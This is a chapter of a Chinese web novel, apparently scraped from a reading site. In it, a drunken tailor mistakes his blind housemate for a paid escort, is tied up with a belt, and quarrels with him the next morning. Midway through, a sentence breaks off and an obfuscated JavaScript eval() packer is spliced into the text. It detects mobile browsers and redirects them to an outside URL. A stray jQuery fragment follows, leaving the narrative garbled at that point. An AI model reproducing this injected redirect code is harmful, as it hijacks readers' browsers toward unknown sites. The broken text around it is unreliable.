第 22 章 醉酒

作品:《穿到民国做裁缝

    “嚯,纪兄好酒量啊!”见他将杯中绍酒一口喝完,徐长吉不由得诧异惊呼。


    琥珀色的酒液从嘴角溢出两滴,纪轻舟抬手用拇指抹去,感受着喉头涌起的炙热,啧啧舌头,道:“这酒不错,不愧是京庄!”


    他酒量一般,但因解决了难题心情好,便又给自己满上了一杯。


    “应是有些年份的陈绍了。”一旁的邱文信咪了口酒,摇头晃脑地评价,“入口馥郁芬芳,回味甘而清冽,我猜是桥东水所酿。”


    “果然新店出好酒啊!”


    “悠着点吧,后劲可足着呢!”


    不知谁提醒了一句,却正好被周遭客人迸发的笑声盖过。


    这厢纪轻舟正喝酒吃菜,与新结识的朋友闲聊,解予安已吃完了饭,搁下了筷子。


    他没有再来一碗的意思,拿起茶杯漱了漱口后,便安静地靠在椅背上听友朋聊天。


    两旁包厢的客人有些喧哗,听声响似乎还叫了堂差,分明是一群大老爷们在谈商业,却不时传来娇滴滴的劝酒声。


    连在这种酒楼吃饭都要招妓侑觞,此种风气真令人作呕。


    解予安正于心中冷笑鄙夷着隔壁包厢客人的品行,忽感肩膀一沉,蜜瓜的清香混合着淡淡的酒香从身边传来。


    他下意识地伸出手,想要将肩膀上的人推开,却摸到了一手浓密而顺滑的头发,触感颇好。


    “怎么回事啊纪兄,喝醉了?”


    独属于骆明煊的洪亮声音传来,打断了解予安的动作。


    “还早呢,区区两杯绍酒……”


    纪轻舟话到一半已经意识不清了,只觉得脚下轻飘飘的,五脏六腑都在燃烧。


    “得了吧,话都说不清了!”骆明煊发出了嘲笑,“也是怪,你这人喝醉了怎么就耳朵红,脸还是白乎乎的……”


    他看着纪轻舟在灯影摇曳下迷蒙的双眸,逐渐放低了声音,怀疑是不是自己也喝醉了,否则怎么会觉得对方那被凌乱发丝遮掩的醉颜如此的惊艳动人……


    解予安无意识地揉了两下纪轻舟的头发,放弃了将人推开的想法,说道:“你们继续,我带他回去。”


    “噢,那我去叫阿佑。”骆明煊蓦然回神,似是为了躲避什么妖精般的,匆忙放下酒杯,起身去跑腿。


    靠在肩头的人不知是否已昏睡过去,跟软若无骨似的,使不上分毫力气。


    解予安便抓住纪轻舟的左手臂绕到自己的脖子上,抬手环住他的肩膀,将人扶起了起来。


    “要不要帮忙啊?”邱文


    信不慌不忙问了句,却没有半点要起身的意思。


    “不用,不重。解予安简言答。


    他正考虑着是将纪轻舟转移到自己后背上背着走,还是直接把人扛在肩上,骆明煊的嚷嚷声便已传入耳际。


    “欸元哥,你这也太不便了,我来扶他吧,阿佑,你好好顾着你家少爷!


    “区区两杯……


    “别区区两杯了,过来吧你!


    解予安微蹙眉头,尽管知道对方这个提议没有问题,心里却莫名地觉得这样不妥。


    骆明煊没等他思考,说完就热心肠地抓住纪轻舟的右手臂挂到了自己后脖子上,稍一使劲,将人拉了过来,半拥半揽在怀中。


    接着又用空闲的那只手提起了纪轻舟挂在椅背上的外套,扭头说道:“走吧,送你们到车里。


    解予安肩头一空,熟悉的气味也随之消散。


    他心底无端地感到烦闷,一言不发地拿起靠在椅边的手杖,在黄佑树的指路下走出包厢。


    夜晚的街道华灯闪烁,路面上人流却比往常稀少。


    一辆汽车疾驰而过,车灯光芒穿透薄雾,映照出蒙蒙细雨。


    解予安嗅到空气中潮湿的水汽,才恍然反应过来,他的心烦与气闷原来是下雨天所致。


    年幼时住在苏州,一到梅雨季便没日没夜下个不停,既阴暗沉闷又潮湿黏腻,老宅里永远充斥着木头腐烂的霉味,连床铺和棉被都是潮乎乎的,像融了浆糊。


    所以他向来厌恶下雨。


    骆明煊将纪轻舟扶进车里后,打了声招呼就匆忙回酒楼了。


    解予安在黄佑树的帮助下坐进车内,掸了掸肩膀和袖子的水珠,嗅到密闭空间里另一人的气味,心情稍微好转些许。


    后车座的空间狭窄,解予安不可避免要和纪轻舟贴着手臂肩膀而坐。


    随着车子调转方向,他感到身边人陡地向车门倾斜过去,便急忙抓住了他的肩膀,将人拽了回来。


    结果这一下似乎捏得过于使劲了,都已醉得昏睡过去的人硬是被疼醒了过来,发出了轻轻的抽气声,咕哝道:“轻点,痛死了。


    解予安松开了手,不冷不热问:“醒了?


    纪轻舟仍在酒醉迷糊中,听见这低沉而清冷的音色,眯着眼瞧了他几秒,没认出来这帅哥是谁,但潜意识里觉得挺亲切的,就随意地“唔了一声,抱住对方的手臂,头一歪枕着人肩膀继续睡了。


    解予安不喜与人这样亲近,但黏在身上的潮湿雨气令他不想动弹,无奈之下


    ,只好维持着这个姿势,直至回到了解公馆。


    经过二十多分钟的行程,到家时,纪轻舟已从昏睡状态中脱离出来,尽管仍神志不清,但起码有人搀扶时,能自己走路了。


    只是他不要黄佑树搀扶,就只肯挂在解予安身上,扯也扯不过去。


    “少爷,要不我再叫两人来……失败两次后,黄佑树想出了请帮手的主意。


    解予安叹了口气,一手握持手杖,一手搀扶着醉汉,说:“走吧。


    花费了足足十几分钟的时间,解予安总算将人带到卧室,放在了床上。


    雨夜的天气偏凉,他却出了一身热汗。


    黄佑树同样松了口气,瞧了眼坐在床沿目光呆然的纪先生,他想了想提议:“我去给纪先生放个热水,帮他擦一擦吧?


    解予安脱下西服外套搭在床边,不无冷淡道:“一天不洗不会发臭,你去煮碗解酒汤来。


    “……好的,少爷。黄佑树应了声,心里暗叹纪先生也是可怜,每天尽心尽力地服侍少爷洗漱,轮到他自己无法自理时,少爷管都懒得管。


    随着黄佑树关门离去,屋子里霎时寂静。


    解予安正要去沙发上坐会儿,转身时,右手却被几根细长的手指牵住,他顿住步伐,虽看不见,还是回过了身问:“怎么?


    纪轻舟思绪混乱,他明白自己喝醉了,却不知自己在哪,意识恍惚间回到了在现代的时候。


    瞧着眼前穿着西装马甲的英俊青年,便将他当成了酒吧的侍者,嗓音微哑地说道:“别走啊,给你小费,再陪我喝点儿。


    解予安无语地别开脸,刚要抽出手,对方又发出了疑惑的声音。


    “不对,不对不对,你不是服务员。


    “怎么眼睛上还绑个布条啊,玩这么大,哪家的男公关啊?


    他说着,又低头看了看自己所在的位置,眼神发蒙地嘀咕:“床,我这是在酒店?我在酒店叫了男公关?原来是我玩这么大啊……


    解予安懒得理会这醉鬼,强行地挣脱了他的手,结果转身时却又被勾住了后腰的皮带。


    “说了别走嘛,纪轻舟纤长的手指伸进了他的后裤腰,旋即又握住了他的手腕道:“一次两千,今晚陪我。


    “什么?解予安皱了下眉。


    “嫌不够?那你想要多少?十万块,包你一个月行不行?


    该死的,长得好的男模就是费钱……


    莫名其妙的,纪轻舟又觉得对方身材这么好,可能某个模特。


    “你每日都在外面接触什么?”


    “我?打工啊,收入虽然不多,好歹也有个六位数,你考虑考虑,我在上海还有两套公寓,你跟着我,肯定让你舒舒服服过好日子。”


    他喝醉了,声音也软了下来,即便这般寡廉鲜耻之言听着也像在撒娇。


    解予安明知他是神志不清说胡话,还是用嘲讽口吻问:“六位数?在哪?”


    “在……银行。”


    “哪家银行?”


    “这不能说哦……”虽然喝醉了,还懂得要守住私密信息。


    见人依旧站着不动,面孔也颇为冷峻,他有些急色地站起了身,一边咕哝着“做男公关,这么傲可挣不了钱”,一边伸长手臂,顺着那黑色的皮带从后边环住对方的腰腹,手指灵活地一拨,解开了皮带的卡扣。


    “别愣着了,我可是花了钱的……”


    解予安不耐地捉住了他胡作非为的手,紧接着反手一勾,解开纪轻舟裤腰上的皮带,哗的抽了出来。


    “唷,你怎么比我还心急?”


    纪轻舟在身手的灵活性上本就比不过军人出身的解予安,此刻喝醉了酒,反应更是慢半拍。


    还没想通对方是怎么抽出自己皮带的,双手就被解予安用皮带死死地捆在了一起。


    等到黄佑树端着解酒汤进来,便见他家少爷端端正正地坐在沙发上,而纪先生虽说是躺在床上的,双手却被捆着,和那温莎大床的床头柱绑在了一块。


    白衣青年的衣衫发丝均凌乱,眸子里晕着水雾,脸庞肌肤因不断磨蹭着枕头也染上了一层薄红,嘴唇更是被自己的牙齿咬得殷红,边挣扎边发出含糊不清的恳求和咒骂。


    “好痛,你松开我,狗屎的,不玩了我……”


    “投诉,我要投诉,业务差,还虐待顾客……”


    “错了我错了,放了我吧……”


    “少爷,这……是不是不太好?”


    黄佑树将解酒汤放在茶几上,有些于心不忍地询问。


    “撒酒疯,先绑着再说。”


    黄佑树闻言没别的办法,更不敢多看纪轻舟,只好岔开话题道:“那我去给您放洗澡水。”


    解予安应了一声,没再多言。


    到底是醉得意识不清了,纪轻舟挣扎了七八分钟就累了,闭着眼不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047329|133174||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到两分钟便昏睡了过去。


    待解予安洗完了澡躺到床上时,身边人早已没了动静。


    他深知纪轻舟的狡猾,担心他是在装睡,还特意俯身过去,听了听对方的呼吸声,未察觉有


    异样,这才帮他解开了皮带。


    “真不安分。”


    嘴里无声地叹了一句,解予安揉了揉纪轻舟的手腕,将他的双手规矩地摆到身侧,又替他盖好了被子。


    回身躺下前,他迟疑了几秒,终是禁不住诱惑,伸出右手试探性地触碰了下青年的耳垂,没受到反抗,便顺着耳朵往上触摸,宽大的手掌,覆盖住了纪轻舟的半个脑袋。


    他手指没入那含着温度的浓密发丝里,轻轻抚摩了几下,轻柔得就像在抚摸什么宠物。


    耳边传来青年均匀柔和的呼吸声,解予安难得心情愉悦,不由得想,倘若纪轻舟能一直这么安静待着就好了。


    结果他脑中刚闪过这个念头,就听青年低哑出声。


    “投诉,我要投诉……”


    解予安心虚收回了手,无言片晌,躺回了自己的半边床铺上。


    ·


    翌晨,纪轻舟相比往常较迟地睁开了双眼。


    一醒来,便觉头脑异常昏沉,眼皮发胀,双手手腕处还有针扎般的刺痛感一阵阵地袭来。


    他揉了揉眼睛,疲倦地坐起身体,望着窗外被雨水浸润得湿漉漉的苦楝树叶,脑中记忆似电影画面般一帧帧地回档。


    但最终记忆只停留在了自己因喝醉酒,倒在了解予安肩头上的那一刻。


    之后发生了什么,他是怎么回来的,又是怎么躺在床上的,就一概想不起来了。


    不过也没什么可担忧的,解予安能照顾好他自己就不错了,辛苦的多半是阿佑,既要顾着他家眼盲少爷,又把他这个醉鬼扛回家……


    纪轻舟心忖着,坐起身来,本能先检查了一下自己发疼的手腕。


    一看之下,就瞪圆了眼睛。


    他猛地抬头望向坐在窗前沙发上悠然喝茶的解予安,怒道:“你昨晚是不是趁我喝醉揍我了?”


    解予安侧过头,做出在听他说话的姿态:“为何要揍你?”


    “那我手上怎么又是淤青又是破皮的?你肯定虐待我了!”


    “发酒疯,绑了一会儿。”


    “发酒疯?”纪轻舟一字一顿,不可置信地反问,“我怎么可能发酒疯?我喝醉了向来都是倒头就睡的,好啊你不仅虐待我,还要栽赃陷害我是吧!”


    “需要我帮你回忆吗?”


    解予安意义不明地笑了一声,接着放下茶杯,平缓直述道:“收入不多,六位数,上海两套公寓,十万块,包我一个月……”


    纪轻舟听着听着脑袋开始冒汗,底气也不像刚才那样充足了。


    一边在心里自我检讨怎么喝醉了这样色胆包天,一边支支吾吾:“那……那你就不能轻点绑,都磨破皮了……”


    “很痛?”


    “你自己力气多大你不清楚?怎么我是什么罪无可赦的战犯吗?杀猪呢,使这么大劲。”


    解予安静默了几秒,口吻淡淡:“抱歉。”


    “道歉有什么用……”


    “那你想怎样?”


    此言一出,房间里的火药味顷刻又浓重起来。


    纪轻舟深呼吸了一口气,想着好歹这家伙昨晚还帮了自己一个大忙,便忍着脾气好言相劝:“别跟我吵,我现在精神状态堪忧。”


    “哪日不堪忧?”


    “……”


    纪轻舟咬了咬牙,垂着脑袋按了按太阳穴,什么也没说。


    接着就闷声不响地掀开被子,下了床朝门口走去。


    听着他的脚步声逐渐远离,解予安反倒产生了一丝慌乱,略微抬高嗓音问:“去哪?”


    “拿衣服洗澡!都快馊了我!”


    青年精神奕奕的声音伴着走廊的回音传入耳中,解予安神情瞬间松懈,若无其事地端起茶杯喝了一口热茶。


    作者有话要说


    解元:好险,差点没老婆了。


    感谢在2024-07-1614:01:31~2024-07-1715:56:20期间为我投出霸王票或灌溉营养液的小天使哦~


    感谢投出手榴弹的小天使:夜芸1个;


    感谢投出地雷的小天使:寸明、总裁哥1个;


    感谢灌溉营养液的小天使:夜芸64瓶;叁三、邻里守沃、不烦20瓶;灬格子的夏天l、过客一位12瓶;椰奶咖啡嗷呜、连山、侯侯啊、艾路雷朵10瓶;Old先桑8瓶;路过大冷天、姣姣妹宝专属190黑皮6瓶;元尘、嗷(阳光开朗sfw版5瓶;九尾狐殿下、Judy小盆宇?4瓶;小蚂蚁、虎皮青椒、丰年3瓶;寒月、饿饿,饭饭、是赵政不是嬴政!!!、第二象限、Sunshine、梦里啥都有的呢、暹罗喵miao1瓶;


    非常感谢大家对我的支持,我会继续努力的!